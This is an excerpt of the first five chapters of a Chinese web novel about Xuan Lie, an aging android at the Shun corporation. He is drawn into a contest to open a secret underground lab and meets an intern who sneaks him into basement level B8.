《暗号是地表最强机械体》 1. 第 1 章 《暗号是地表最强机械体》全本免费阅读 一杯烈酒下肚,此刻他应该感受到的是岩浆般的液体从舌尖蔓延到整个口腔,一路火辣,随之而来的是喉咙的灼烧感,顺流而下直到胃里。 照理说痛饮一杯高度酒之前应该先垫垫肚子,可他没有这么做,也没有条件允许他这么做。 “胸膛郁闷、心脏快要冒出火来,你有这样的感受吗?” “我没有,应该有吗?” “倒也不……反正你没有真正的心脏,也没有真正的胃……不过类似的感受总该有一些吧?一点点?” “那应该是有。” “好,没问题了,”身穿白色实验服、眼戴护目镜的男人在实验手册上写着什么,然后把笔一扔,将新写下的一页撕了下来,“我说玄烈,你的芯片里不是加载着认知和记忆功能吗?怎么被那帮小屁孩耍了这么多次都记不住?” 名叫玄烈的人被绑在玻璃房的机械冷板凳上一动不动,白衣男做贼似的偷悄悄看了看四周,迅速扒下口罩抿了一口玄烈没喝完的高度白酒又迅速戴上口罩,“你坐在那么端正干嘛?下来啊,你喝醉啦?” “你才喝醉了。” 白衣男这才透过玻璃看到了使人动弹不得的绑带,陪着笑脸按下旁边的按钮,“不好意思啊不好意思,忘了忘了。” 只见绑带随着“咯哒”一声响,从看似坚硬无比变成了几根煮熟的面条,缩回了机械板凳里。板凳上的人扭了扭肩颈,晃悠悠走出了玻璃房。 “看我是个机器就虐待我。” 白衣男咯咯笑一声,顺势将实验手册推得老远,又吞下一杯烈酒,“机器怎么了,你看看你,从头到脚哪还不像个人?” 玄烈无暇顾及白衣男的话,他只是突觉头晕目眩,眼前景象旋转闪动,耳鸣声尤其明显,面部的仿生皮肤上渐渐泛起红晕,整个上半身都好像灼烧着。白衣男还在碎碎念着什么,他不想再经受这双重折磨,自顾自地蹭向门外。 “呦,二代的笨家伙,你被治好啦?” 一推开门就正撞上三个小孩,或者说是还在成长研发中的五代完全机器体。 玄烈艰难聚焦他们的脸,才想起来在这之前,自己被这三个小孩灌下含有辣椒、盐酸、气泡水和不明金属液的混合液体,猛烈地刺激了他的感知系统,才被紧急送进实验室抢修。 他并非不记得自己被这些小孩耍了多少次,只不过他近来身体越来越差,行动愈发迟缓。 林老师不告而别的第五年,他不想等了,准备寻一个灿烂的落日,在某个清寒凄苦的高处一跃而下,或是点燃一场火在薄雾弥漫的清晨,再或者把自己仅有的一点财产交给一个陌生人并拜托其在他沉睡后拔下他的芯片,随便埋到什么地方。 都是好的,只要别让他再苟且在这些新生命的视野中如同过街老鼠一般。 “是,治好了,”说着玄烈就想离开,他尚且还在恢复中,高度白酒难免让他头疼,却被拦住。 “我说你,就你这样的还有什么可修的,没什么用,摆在那碍事,丢了又不可惜,每天占着公共资源我都替你丢脸。你还是识相点,自己把芯片一拔,随便找个角落长眠去算咯,反正你是落后的二代体,有机会下辈子再投胎当个人吧!哈哈哈哈……” 玄烈感受到正被强势的威胁着,全身各个系统运作变得猛烈,他攥紧了拳头。嚣张的笑声在走廊里回响,突然被重重的脚步声打断,“哪的混小子在这放肆!” 又一个身着白色实验服的男人出现,可以姑且称之为白衣男2,但他胸口上的工牌显示着他姓杨,隶属于维修部门,“编号5x0138、编号5x0142、编号5x0247!” 那三个混小子立刻魔怔一般站军姿,眼神空洞,直视前方,“到!” “三个连名字都没有的废物!看来日子是过得太舒服了啊。有时间挑衅同伴,不如好好准备准备下次考核!可要好好准备啊,如果是我,不会给你们好过的。” 说罢冷笑一声,转身要离开,眼神示意玄烈跟上,任由被唬住三个小孩一动不动待在原地。 “他们要站多久?” “最近集团在搞什么神秘项目,没几个闲人来这儿。回头我再招呼一声,站他们个七天七夜。” “杨叔,他们就这么静止着,长时间不运转,不会有事吗?” “一点点教训。要是站这么一会就报废的话,那这设计五代体的人岂不是白忙活那么多年。” 玄烈无言,他确实不是功能完好性能强的五代体,但确实是一段时间内系统不运转就会出岔子的二代笨家伙。看起来很像人,已经是他最大的幸运了。 绕过几道弯,人脸识别了几道门,被玄烈称作杨叔的人带领他来到另一个冰冷紧闭的实验室门口。 指尖在门中的小电子屏上划转,机械声躁动,一束光将来者全身扫了个遍,才在屏幕上又显示出这位杨工程师的名字,杨宁。实验室门缓缓移开。 杨宁先行一步踏入实验室,玄烈跟在身后沉默,他目光环视过一排排试管和电路板,想着自己曾经作为新生二代体时也好像有过一段野心勃勃的时光,只是他记不清楚了。 现在的他还算有齐全的五感系统、反应只是慢半拍、武力平庸,恰好处在最不起眼的位置。不起眼倒是好事,可是他毕竟不是身家显贵的人,在这个一味图强斗狠的地方,他的处境倒实在艰难。想到这里,他不由得苦涩的笑了。 “玄烈?” “嗯?” “没什么,你倒是学会笑了。” 玄烈一怔,无措地抬手捂住嘴,“很怪吗?” “有点……还好,会笑是好事,”杨宁从一旁扯来一枚小镜子塞给玄烈,“多对着镜子试试,熟练就好了。” 玄烈低头对着镜子猛的扯了扯嘴角,他的仿生皮肤弹性很差,倒是牵连着里面细微的感知系统隐隐作痛。不管怎么摆弄,他笑起来都显得很怪。 杨宁笑着摇摇头转身在几沓文件中翻找,嘟囔着说,“不知道最近从哪刮的一股风,那些新生的小姑娘,一个个都吵着要开嘴角,说是笑起来好看。那些设计四代的人,有这闲情逸致让他们学会爱美,还不如多花点精力在提升他们的能力上……” 话到一半,杨宁失手将桌上的文件推倒,纸张悉数散了一地。玄烈见状,收起镜子蹲下和杨宁一起整理。 “现在的四代,一个个脾气古怪,还不服管,前两天又在训练场打起来,搅得天翻地覆,废了三个,还死了个训练师,够可笑的……谁他娘把这破纸藏在这的!” 说着杨宁奋力从桌子下抽出一张印有集团logo的纸,甩给玄烈,“你的,不知道是谁塞到了我这,最近事儿太多,顺手就给连着报告一起呈上来了。” 玄烈不明就里接过,看着纸左上缺了一角入了神,那可怜的一角依旧被无情地压在桌子下。 “说是有什么比赛,你看看吧,和什么芯片有关。够古怪的,闲的没事儿干,永璃岛马上就要大难临头了,你说这些领导每天整什么呢……” 杨宁的话逐步虚化、渐行渐远,变成小鸟,变成飞虫,变成细微的电流声,环绕在玄烈身边,始终无法入耳。 玄烈此刻的脑海像是空洞洞的灰暗的大厅,充满晦涩难懂的回声,同时闪现一个红发女人的虚影,“……太可惜了……我最喜欢你。” 回荡,回荡,回荡。 这突然泛起的记忆从哪来?玄烈想到刚才整理文件时一闪而过的一个红发女人的照片。他想起了他对这个世界最初的记忆,那是一种来自灵魂深处对生命的渴望。 在他的视觉、听觉感知系统尚未成型时,在他作为弃子被抛弃在冰冷的、堆满废弃实验体的地下室时,红色是他最初看见的颜色,他隐约看得到她明亮的眼眸,隐约听得到她面罩下双唇一张一合吐露出的迷人嗓音。 “可爱的小家伙……太可惜了……这些孩子之中,我最喜欢你。”那酷似母亲的呵护,他不再紧张,安心的闭上双眼。 但他从小到大无时无刻不在寻找,却杳无音信,好像一切都是他的臆想,他开始怀疑。 玄烈试探性伸手翻那沓刚整理好的资料,却被一个大手摁住,“这些都是机密。杨宁,你不该带他来这。” 顺着话音,玄烈抬起头看到让他倒吸一口凉气的男人,一个脸上有刀疤的男人,触目惊心的痕迹直穿过鼻梁,从那人的左下颌直连到右下颌,将整张脸分割为可怖的两个部分,这位即是那些死亡机器的总设计师。 在玄烈眼中,这人看上去并不差那些身怀绝技的机器人一星半点。 “是,是,对不起程总……”杨宁一把揪起玄烈将他推到门外,“比赛你想参加就参加,不想参加就当没那回事,别想那么多,”转身关上实验室门,声音匆忙远去,“您有什么指示……” 无声静止的三十秒后,玄烈恢复了清醒意识,他这才认真读手中的文字。大致意思是集团即将举办一场比赛,面对广大能够配置极高精度芯片的机器体,比赛奖励是一枚芯片。 而现下这枚芯片正藏于舜氏大厦d区地下八层的机密实验室中,具体位置不得而知。其判定胜利的要求,无非是能够成功打开此实验室。 关于这枚芯片的实际效用,并未过多渲染,只是迷糊地一笔带过。一,这枚芯片是已经过世的老董事长协其团队竭尽一生精力所创的;二,无人知晓其中所蕴含着的神秘力量。 仿佛什么都没有说,又什么都说了。将事情的复杂程度无线扩大,给人以紧张危险的氛围,才显得这场比赛不太至于像小孩子过家家的夺宝游戏。 “玄烈?真的是你呀,你怎么站在这?” 玄烈总是难以做到一心多用,沉浸在一件事情中就无暇顾及旁人,这次也一样,人都摸到跟前了,玄烈才反应过来。 “遥遥姐?” 遥遥依旧梳着两个半马尾辫,白色实验服上有着各式各样的彩绘涂鸦 2. 第 2 章 《暗号是地表最强机械体》全本免费阅读 凌晨三点,未眠。 玄烈发现自己正在逐渐淡忘他敬爱的林老师的模样,他不禁感叹自己终究是不中用了。以他的处境,根本没资格向谁开口去更新什么硬件软件,他杨叔也是爱莫能助。 玄烈今年应当是二十岁了。早年间他的生辰从来都是林老师帮他庆祝,后来林老师失踪,也就甚少有人记得。早听说二十年前集团曾发生过一次毁灭性灾难,而仿佛是作为新生的标志,玄烈是灾后舜氏重振旗鼓所创造的第一个作品。 算起来,他在这世间也才算正经活了二十载,但这二十年间的科技发展,早已远超他自身优化的五六十年。自他被制造成型的那一刻,便是人们对他渐渐漠视的过程。 他环视自己,想着自己应该只是简单的试验机,给新生的下一代测试测试无所谓的零件,再无他用吧。 玄烈空洞地盯了一会儿天花板角落里那闪着刺眼微光的监控摄像头,从兜里摸出小镜子想继续学习微笑,连带那张纸也掉了出来。 他不想参加那场比赛,无论奖品诱惑有多大,他觉得没什么意思。 可万一真的如同阿盼说的那样,集中焚毁,不必再占用资源,直接一把大火把大家平等地烧成一撮灰,怎么办? 一旁舱里的阿盼已经进入休眠状态,公共聊天室虽然不像白天那么热闹,但还是零星有一些闲言碎语跳出来。玄烈感到烦闷,伸手调换频率。 他并没有调到以前常收听的、充满雨声和海浪声的频道,相比起安心休眠,他更需要一场死一般的沉寂,让他理清思绪,试试看能不能想起些什么。 “叮——” 突然顶上来一条未知来源的私人聊天框。玄烈诧异,从始至终都像是一个透明的他,会收到谁的来信呢? ——参加比赛。 ——你是谁? ——参加比赛。 他反应慢,光是接收、反应和进行反馈就又耗费了对方几倍的时间。 玄烈刚输入了“我不想去”几个字,但在犹疑几秒后,并没有发出去。 ——参加比赛,我能帮你找到林老师。 林老师? 玄烈惊坐起,刚想要再次问“你是谁”的时候,聊天框被销毁。 彻底无眠。玄烈感觉好像胸腔里涌着一团火,是他反应过于激进,本该是修养的时候,却将运转器官烧得炙热,他感觉到一阵隐隐的难受。大口呼吸后,玄烈钻进了修养舱。 一番思绪纠缠过后还是一团乱麻。他闭上了眼睛,沉静时是微风拂过森林的像素动画,他在迷失中停机。 玄烈特别想感受一下,人类所说的做梦,是怎样的。 那虚无缥缈间不属于自我的迷幻世界,不计成本的游戏人生,介于主观与非主观之间的那一段奇妙旅程。玄烈听说还有噩梦与美梦之分,不管是哪一种,他都想要尝试。 既然做不到,就只能靠想象。可是玄烈怎么想象呢,他通过重复一段又一段人类对于梦境的描述,再运用脑中的数字计算运转结算出一些可能的画面。 可是玄烈的眼睛不太能分辨得出颜色,在想象中,他只能看到单调的,一幅幅不会动的、由线条构成的简笔画。 这就是梦吗?玄烈希望能得到更具体的回答。 “梦啊?我还挺喜欢做梦的呢!但是最近太忙了,我这两天一沾枕头就着,一睁眼就天亮,都没有梦了。” “哦。” “你问这个干嘛,你也想做梦?” “好奇。” 遥遥咯咯地笑,边笑边给手中的资料分类。说起身边的人类,玄烈认识的除了杨叔就是遥遥。他杨叔不知道去哪忙了,倒是最近常见遥遥在c区晃悠。 “遥遥姐不常来这。” “你倒是记得。最近又要来一批实习生,我也得跟着干干活嘛,不能白吃这一口饭不是?” 玄烈点点头,他知道遥遥其实在这里基本没有正式工作,只是碍于她的背景。人人都知道她的身后站着谁,谁也不敢多加评判,她自己倒也是坦然。 最近正值新一季人才引进,其实这二月天本不是吸取新力量的时候,或许是战争当前,舜氏乃至整个永璃岛都空前紧绷着一根神经,都想抓紧趁战火蔓延开前尽可能吸纳更多人才用以应对。 玄烈曾试图探寻过关于二十年前那场灾难与绵延至今几个岛之间政治纷争的关系,但均没有太多结果,也鲜有影像资料。 只是那地狱一般的光景他也想象了个大概。 战争、地震、台风、海啸、洪水。永璃岛当时就像这个世界最被厌恶的一方角落,这边炮火轰鸣带来的熊熊火焰还未被扑灭,那边震荡引起的大水漫灌就已然毫无怜悯地掩埋了大片面积,人们在天崩地裂中嘶吼哭喊,奈何水火无情,终究都被卷进灾难的漩涡。 哉徉岛,至今人们提起都会恨得咬牙切齿,但这部分人已经占到少数了,因为当年侥幸活下来的人实在少之又少,许多也因灾祸后遗症接连逝去了。现在永璃岛更多属于外来人口,新鲜血液。 二十年前那一战没能把永璃彻底毁灭,那些生命力旺盛的人们又凭借自己的双手硬生生挖开一片新的天,顺带的,新的舜氏很快拔地而起。 这景象当然不是哉徉岛想看到的,只是奈何另有地域的人觊觎他们的资源财产,这才不得已假模假样与永璃重新构建起和平模式。 但他们也时常在背后骂永璃后来新继任的执政者,“太没有血性了。” 了解到这一故事时,玄烈也暗自疑惑。人类对具有血海深仇的仇敌不通常是恨之入骨的吗,为什么现在永璃的长官依然会甘心情愿对哉徉岛笑脸相迎呢? 玄烈的神游突然被打断。 “大小姐都多久没有出现过了……说好陪我打羽毛球的……” 遥遥翻着手里几张写满英文的文件不停嘟囔。玄烈想起之前在遥遥穿的那件衣服上看到的那双眼睛,不禁空洞地发呆。后又抽离出来,简单地扫描了遥遥手里的资料,将英文尽数翻译出来,但不能真正理解当中的意思,于是又沉浸在那双眼睛里。 “喂,想什么呢?” “……嗯?”玄烈猛的回过神来才发现遥遥的手在他面前晃了又晃。 “没事就快去玩吧,我这忙着呢!” “哦,好。”玄烈说着转身失了魂一般走开了。 “这孩子……” 接下来的一个星期,玄烈和往常一样早起、出操、日常维护、对着小方窗外的天空发呆、休息。杨叔偶尔会来敲打敲打他,看看机械运作是不是还正常;阿盼偶尔带着一身伤回来却依旧要到处去打杂,以免有一天集团发现他完全没用而将他丢入废弃试验品堆;遥遥倒是不知道跑到哪去了,或许是跟着大小姐四处游玩,把工作又丢到一边。 玄烈最近经常往外走,在周边几层楼来回游荡,原因是他发现他的思维已经快迟钝到他不能再忽视的地步,虽说他对自己并不怎么关心,对身归何处抱有无所谓的态度,但这种感觉让他郁闷。既然生产者知道他时给他增加了生的意念,那么现在正是这种仅存的意念驱使他做出改变。 是生存,还是毁灭!这是个…… 玄烈第一次有了惆怅的感觉。 这几天集团内多了一些新面孔,但玄烈对他们没有兴趣。和普普通通的前几批一样,玄烈并不在意他们停下脚步交头接耳对他指指点点。 人脑是复杂的,不是简单通过程序改写就能改变他们的思想,与其深受其害,不如自己也当个旁观者。 他依旧耿耿于怀那日夜里传来的奇怪短信,对方恰恰抓住了他最在意的点来诱惑他。是火坑还是揭开秘密的钥匙,玄烈绞尽脑汁也计算不出来。 玄烈独坐窗边第五千四百七十八次看完了完整的日落,准备往回走,却看到阿盼正在不远处迎他。 “阿盼?你怎么在这?” “我在这等你啊玄烈!快,跟我去大厅!” 说着阿盼拉起玄烈楼上楼下绕了几趟来到b区的报告厅。 报告厅中人满为患,几乎所有实验人员和机器人都欢聚一堂,众生叽叽喳喳吵作一片,更多是看热闹的。 玄烈环顾四周,看到五代的孩子居多,他们目前处于新生的萌芽状态,一个个都还是活蹦乱跳十三四岁的孩子,脸上却写满了争抢好斗,一看就被娇纵上了天。四代和三代的人互相不对付,从具体性能来看,这部分机器算是互补,无非就是有脑没力气,要么就是有力气没脑。 但玄烈可没资格笑话这些,全场最老的机器人就数他和阿盼。舜氏集团的二代体几乎只剩下他们两个,无声地活在人们视线以外,至于更甚的一代体和其余二代体,大多报废的报废,关押的关押,下落不明的下落不明,对于这一点,大多数人并不知情,知情的也从来闭口不谈,只任由人们淡忘。 阿盼扯扯玄烈的衣袖,“杨叔说叫咱们来这,这怎么这么多人呀?” 玄烈带领阿盼来到人群后方,“等等看。” 短暂的嘈杂之后,几位资深工程师来到 3. 第 3 章 《暗号是地表最强机械体》全本免费阅读 永璃岛东北角有一座几乎与破雾顶齐高的大厦,通体银灰,表面的反光玻璃将阳光尽数折射到永璃岛中心商贸繁荣处,将本就热闹的人世间照耀的更添光辉,于是甚少人有功夫去理睬亮丽表面背后的阴影面。到了夜晚,这栋大厦更是坐落地像一栋鬼楼,隐约得见其间玻璃后走廊里幽蓝的微光。 令万物生灵只敢远观。 这即是舜氏集团的门面。平日里除了谈谈生意、见见客户,也并没有其他什么重用。舜氏集团真正的核心,在地下,在隔岸的工厂,在身后大片壮观的实验基地。 经过几代夺权争位,稳居宝座的从直系亲属渐渐变成了远房表亲,可姓舜的依旧姓舜。其间舜氏集团先后合并了孟氏、蒋氏及其名下的科学实验室,窃取了无数科研成果,也用近乎带有俘虏性质的手段,收罗了不少科学家、工程师。可惜了,不姓舜的,最终也跟着姓了舜。 商场如战场,这数几十年其中有多少妻离子散家破人亡血雨腥风谋财害命见不得人的勾当,后人都已无从知晓。近二十年来的安乐,让最后牺牲在这漩涡里的那位苦命人的眼泪,彻底深埋在世界的深处。 这座大厦顶楼的大平层风光极佳,精致但不显华丽的装潢给这居于顶层的人蒙上一层神秘的色彩。男人约莫三十岁左右,西装革履,正惬意地坐在窗边的皮质转椅上看风景晒太阳。 “嘭——” 突然门被大力推开。 不用想都知道,也只有舜氏集团的大小姐有这番做派。 “呦,享受呢?” 男人头也不回,“说了多少次了要敲门!” “这么久没见了你也不说想我?” “哦?确实好久不见了,”男人依旧故作高深地背着手未回头,“一溜烟跑走再一溜烟回来,你哥我永远也摸不透你的行踪。说说吧,这回去哪野了?” “故地重游呗……”男人看不见身后人的表情,却在言语间听到了一丝失落。但不等安慰,大小姐忽然话锋一转,语调娇俏起来,“给我未来的朋友送了个礼物,顺便爬爬树、钓钓鱼什么的!” “好啊,”男人转回来看着面前的大小姐,“给我带什么礼物了吗?” 大小姐仿佛刚刚探险完归来,肥大的藏蓝色登山服内又套着一层战术马甲。只见她将衣兜裤兜里的小玩意儿尽数抖搂出来,手电筒、望远镜、指南针、压缩饼干等等,还有一把莫拉大力神。 男人拨弄了几下面前的一堆零碎,“我的礼物呢?” 大小姐没理睬,一跃跳坐在男人面前的办公桌上,翘着二郎腿,对着从最后一个兜掏出另一枚锋利的刀照镜子整理发型,“我看你什么都不缺嘛,你是想要天上的鸟还是水里的鱼,林子里的保护动物我可弄不来!”说着拿刀对男人晃了晃,“要不我抓几只会吃人的大虫子让你尝尝?” 男人失笑,瞟了大小姐一眼转回身去对着窗外,“好,不过我可是提前跟你说好啊,这‘未来的朋友’是谁都可以,我也管不着,只要不是那只叫玄烈的二代体。” 听到这话,大小姐拨弄刘海的手一滞,随即收起笑意,“如果我偏不呢?” “随你,”男人也敛起开玩笑的语气,转回来似笑非笑地看着大小姐,眼底隐隐带着凶狠的意味,“我只是提个建议而已。你也知道那孩子活不长,别到时候自寻烦恼。” 办公室一角茶几上烧水壶开始发出沸腾的叫嚷,而这一边的二人相视无言、心怀鬼胎,气氛一下子降到冰点。 面对着大小姐脸上逐渐渗出的冷笑,男人满不在乎地说:“二十年之期已到,不管那个人还会不会卷土重来,我都不打算坐以待毙了。” “比赛以后,行吗?”大小姐目光冷峻,“如果到时候实验室还打不开,要杀要剐随你。” “哈,”男人立刻像翻篇似的扫去阴霾变得灿烂起来,如同变了个人,“好,既然大小姐都让步了,我也不能不识趣不是吗?接下来聊点别的,比如……” 大小姐翻身站起,拍了拍身上的灰,翻了个白眼。 “别不高兴嘛,我说小真,你已经老大不小了,怎么还不……” “怎么还不找个人嫁了。” “我可没这么说。” “你就是这么想的。” 据说曾经舜氏掌门人也就是老董事长也就是她父亲原打算将这位子传给她,只是在那场灭顶之灾后,待她父亲即将不久于人世时,被这叔侄俩篡了权。这一切看似与她有关又实则无关,她懒得管,她懒得掺和这家里所有的事,她也懒得唤老董事长一声父亲。 哪有自己的父亲在女儿刚生下来不久就狠心地将她改造,让女儿从小到大几乎所有时间都泡在实验室里,让女儿受尽苦楚只为他一点声誉名望。 舜真是舜氏集团自经历某个毁灭性打击后真正正式的一代试验品,老董事长痛定思痛决定先从自己人下手。但她并没有完全变成个机器,也不再算是个完整的人,好似介于阴阳两界之间,是一只谁都嫌弃的小鬼。 她边吃大量药物苟活于世,边尝试着像正常人一样交友念书,倒也习惯了自娱自乐。 “在你看来,我的意义就是随便找个什么人乖乖嫁了这一条路吗?还是你已经有了什么人选,能通过把我卖掉,以便帮你们的合作牵线搭桥?” 舜真不是没有任何情感经历,只是在她曾一颗心孤注一掷后,发现并没有人能捧住她沉甸甸的喜欢。她所偏好的人,没有爱的权力,也没有爱的能力,就像竹篮打水一场空。 “我不需要这些。我既是人,又不是人,还不如直接泯灭了我的心性,当个笨蛋傻子或者什么只会听差的铁皮架子来得实在。” 男人沉默。他木然地望着眼前晶莹闪亮、郁郁寡欢的少女,少女的模样与他二十多年前正值青春初见时一般无二。依稀还记得自己第一面见到这姑娘就再也挪不开眼睛,可即使他们算是八竿子打不着、远房得不能再远房得远房亲戚,他父亲、也就是舜真的远方表叔,也不允许他多瞧她一眼。 他本是该忿忿不平再勇敢追爱的,但奈何他最让他父亲骄傲的地方就在于不敢怨言的顺从,于是这么多年的心意就此暗暗埋藏下,直到世事变迁,仅剩的一些兄妹情份也被消磨成一条暗流涌动的死河。 不过现在倒是好了,自从前些年一场外出游历,他见到了自认为更加难以忘怀的人。 “真让人恶心。”遥遥在背后是这样咒骂他的。 片刻,男人从若有所思中抽离,“……小真,你今年多大了?” “你呢?你先说。”舜真收敛起愁容。 “我?我,过几个月就三十七了。” ”不错,”舜真轻轻挑眉,“我比你小两岁。” “可你看起来……” “可我看起来还像个二十岁的小姑娘!” 舜真骤然兴奋起来,她跑到茶几旁,猛地关上烧水壶的加热开关,又将刀扔到一旁,走到男人身边。 “多少人都羡慕我,多好啊?三十多了还跟二十岁没差哎!可实际上呢?我只是恍惚中活了这么久的……三十年的 4. 第 4 章 《暗号是地表最强机械体》全本免费阅读 他敏感的避开了前方可能有围堵的地界,扫描出适合躲藏的房间。在赶去的路上,玄烈尝试屏蔽身后人的叫喊,他屏气凝神,全世界只剩下她的呼吸。 她感到危险,她局促不安。 玄烈的计算效率一瞬间有了质的飞跃,好像拥有了使不完的力气。 就在下一间!玄烈将在脑中计算了数十次的场景反映出来,他迅速抽出自己的身份牌在门上一扫,又迅速在门弹开一刹那抽身带着女生躲进去。 无限黑暗间,玄烈贴门听到保安的叫喊和脚步由远及近又渐远,他这才反应过来自己好像一直绷着一根弦,顷刻间的放松,沉重负担的后劲显现出来,让他几乎要报废了。 他转身瘫坐下来,看到女生亮莹莹的眼睛直直盯着他。女生呼吸猛烈,看上去更是比他难受几倍。这是玄烈第一次在封闭狭小空间内面对一个拥有呼吸的灵魂,身体的超载让他痛苦,生的气息让他感动。 “对不起,我跑得好像过于快了。” 玄烈先开口,同时肋骨像生断了几根一样疼。他从内衬里掏出一枚小灯,幽绿的灯光照着彼此的脸庞。玄烈望着对面女生小鹿般亮晶晶的眼眸,悸动在灯光里生根发芽。 “谢、谢谢你。” “我、忘记你……” 我忘记你是人类。 “没关,系……我没看错,真的是你。” 玄烈的机械肺腑随着女生重重的呼吸一跳一跳,他想说点什么,又一片空白。女生呼吸稍作调整,主动伸出手来。 “你好,我叫……” “纪,凛烛。” “你认得我?” “这么短的时间,只要我想记住,我基本可以过目不忘。” “我忘了,我忘了,”纪凛烛手空晾了半天都没有被握住,于是笑着挠挠头,硬是把后半句吞进嗓子里。 我忘了你是机器人。 四目相对,沉默良久,玄烈盯着纪凛烛紧攥衣角的双手出了神。虎口等地方都有厚厚的茧,想来这少女也是个能舞刀弄枪的人。 觉得局促,纪凛烛先开口解释自己是跑错了地方,误闯了机密重地,才招致这些祸患。 “你们这里也太弯弯绕了,我来回走了三天也记不住哪是哪。不过,没给你添麻烦吧?” “没有。” 纪凛烛暗暗想着这真是个钢铁做的木头人,行动麻利,说话冷冰冰,可真是一点人味儿都没有。 但细想起来,那些教授和工程师没有人味的程度其实远超这些机器人。 “这边都是些位高权重的教授和凶巴巴的工程师,看不见半个活着的机器人,你来这干嘛?” 活着的机器人。玄烈第一次听到这种说法。 “我来看落日。” “哦。” “我一直在等你。” “啊?” 玄烈将手里的灯开的更亮,正好照见纪凛烛大惊失色的面孔,她局促地咬着下唇,单手扶额将自己的脸尽可能的躲开玄烈直勾勾的眼神。 我忘了,我忘了! 就在纪凛烛正想张口说些什么来找补时,玄烈先行开了口。 “饿吗?” 纪凛烛抬眼再对上玄烈的眼神,肯定地说,“饿。” 在玄烈将纪凛烛引向食堂的路上,后者始终像个小偷一样不自然地警惕着周围。 窗外繁星点点,纪凛烛心生凌乱,玄烈一声不发。 众生活在监控下,万籁俱寂。 食堂地偏,来者也甚少。一切都是纯白的装潢让纪凛烛误以为自己来到了天堂。这里没什么窗口,唯一的陈设即是极简的桌椅,甚至不曾看到厨房入口。等到真正坐在食堂椅子上的那一刻起,纪凛烛才真正归了魂。他们在平板上点了餐,略等了片刻,即有一个机器盒子将饭菜尽数端来。 纪凛烛看了看玄烈,又看了看这机器盒子,想着这才应该是机器人的样子。 她点的是份茄子卤肉饭,玄烈面前是一份白面条。 没等纪凛烛说些什么,玄烈就抓起筷子将面条往口里送。 早听说这儿的机器人会吃饭,现在亲眼瞧见也还是觉得不可思议,长此以往,这些机器人和人还有什么区别? 玄烈似乎注意到了某人炽热的目光,便放下筷子,“你想问什么?” “你们……一日三餐都要……吃吗?” 纪凛烛话刚出口就后悔了,仔细想想这样恐怕不太礼貌,但正如她所想,玄烈是个机器人,他不会在乎是否有话是阴阳怪气或者针锋相对,他听不出来。 “有些机器人不需要,但吃一些食物对我来说比较好。” 玄烈说完,又以呆板的机械方式吞面条。 “好吃吗?”看到玄烈的样子,纪凛烛竟然感觉到自己也馋起来。 糟糕,这样下去,以后不会有机器人吃播吧? “我不知道,我不太尝得出味道。” 纪凛烛抿了抿嘴,不再说什么,也跟着低头吃了起来。 “我,很像个机器人吗?” 纪凛烛听到这话猛的呛了一口,她捂着嘴咳嗽了两声,抬起眼才发现玄烈面前的碗已经空空如也,甚至像是已经洗干净了的样子。 “你像个假人,但不像个机器。” “做人好吗?” “你想当人啊?嗯,怎么说呢,挺无聊的,但如果是你,我觉得会很有意思。” “为什么?” “总要体验一下嘛,感受一下呼吸,感受一下心跳,体验一下热血涌上脑,心潮澎湃的感觉!感受一下不受外在干扰的自我。怎么给你形容呢,就好像是拥有你独有的灵魂,在这大千世界,能自在畅快地飞!” 玄烈沉默,他只是一知半解,脑中怎么也分析不出来这其中的意思。 “不过你可要好好辨别,不是每个人都会说真话,通常他们能把谎言扯成真的。” “那什么是假的?” “什么都有可能是假的,可能我现在说的也是假的,可能你最信任的人也是假的,可能你现在坐在我面前也是假的。” “我坐在你面前怎么会是假的?” “就好比看似你人坐在这里,可是我又怎么能知道你究竟是不是你呢?” “我就是我。” “我是指,身体是你的,意识却是别人的!之类的……” 说到这里,她话音渐弱,打了个寒颤,闭口不再言。 玄烈实在听不明白,只是看着对面人。正逢纪凛烛收到实习生群里的新消息,于是将平板摊在桌子上,开始填写比赛报名表。 “是寻找碎片的比赛吗?”玄烈问。 “嗯?”全神贯注的纪凛烛迟钝了一下才听到玄烈的询问,“啊,对。我在写报名表。” “你们也要参加吗?” 纪凛烛重重点点头,“主任交代的,说是 5. 第 5 章 《暗号是地表最强机械体》全本免费阅读 “我想,去一趟地下。” 午夜,玄烈在辗转反侧终于决定要入眠时,收到了纪凛烛发来的信息。 “你想去看看那个机密实验室什么样吗?” 这是纪凛烛发来的第二条消息。 玄烈犹豫片刻,伴随着一边阿盼安详的呼噜,发出了回信。 “机器人不被允许去地下室,我没有通行证。” 几乎是瞬间,玄烈得到了回复。 “我有。” 机器人续航时间远超于人类,即使是玄烈这样老旧的二代体也是如此,几晚不眠不休也不会感到疲累,于是他先行一步来到昏暗的舜氏大楼d区一层楼梯口等待。 五分钟后,一个包裹得严严实实、鼓鼓囊囊的身影出现,警惕地快步走来,搞得玄烈也一下子没认出这来者何人。 “怎么样,是不是看不出来是我?”纪凛烛轻轻掀起鸭舌帽,又扯下口罩一个角露出半张脸,机灵地看着玄烈。 玄烈有点不知所措,忍着笑意点了点头。 “既然有通行证,为什么不能光明正大的去呢?”玄烈问。 纪凛烛左右看看,扯着玄烈走下台阶,“这通行证是二十年前我爸妈的,不知道还能不能用,万一到时候被保安用造假证的名义把我抓起来,再扔出岛怎么办……” 二人向下奔着,没过一会纪凛烛便气喘吁吁起来,于是脚步逐渐放慢,直至跑不动。玄烈刚要开口问为什么不坐电梯,纪凛烛突然低呼一声,将宽大的黑色披肩摘下,递给玄烈。 “我不能被抓住,你也不能。” 玄烈接过这披肩,看上去并不像是一块完整的布料制成的,似乎是某人情急之下挑来几块黑布手工缝缝补补勉强有个披风的样子。他没有问,乖巧地披上。 此时两人所站的楼梯口上写着“B8A”。 “到了。”纪凛烛轻声说。 二人相视点头,纪凛烛揣着紧张到要蹦出来的心脏,举起那块年代久远、磨损严重的通行证,对准门上一颗小小的识别镜头。 “嘀嘀嘀——”,连续的提示音响起,随即绿灯亮起,门锁松动,看来是门开了。 纪凛烛原本想不动声色地轻轻推门进入,却发现这门极其沉重,不得已让玄烈帮一把手。 伴着无比尖锐刺耳的“呲啦”声响彻整个楼道,纪凛烛感觉下一秒就会有人赶来将他们逐出。越拖越是麻烦,玄烈猛地施力,让最后一声震耳欲聋的噪音回响,门被推开一条足以容纳他们侧身经过的缝。 可当二人纷纷挤进门内,他们才发觉里面的世界远比外面可怖得多。 一条深不见尽头的走廊,同地面上的装修风格截然不同,粗制的混凝土、被水泡过翘边移位的木地板、相隔近十米才安置的仿烛火小灯,走廊并不算宽敞,两旁形似监狱的合金栅栏隔着左右不过七平米的空间,金属上映着小灯微弱的光,寂静异常。 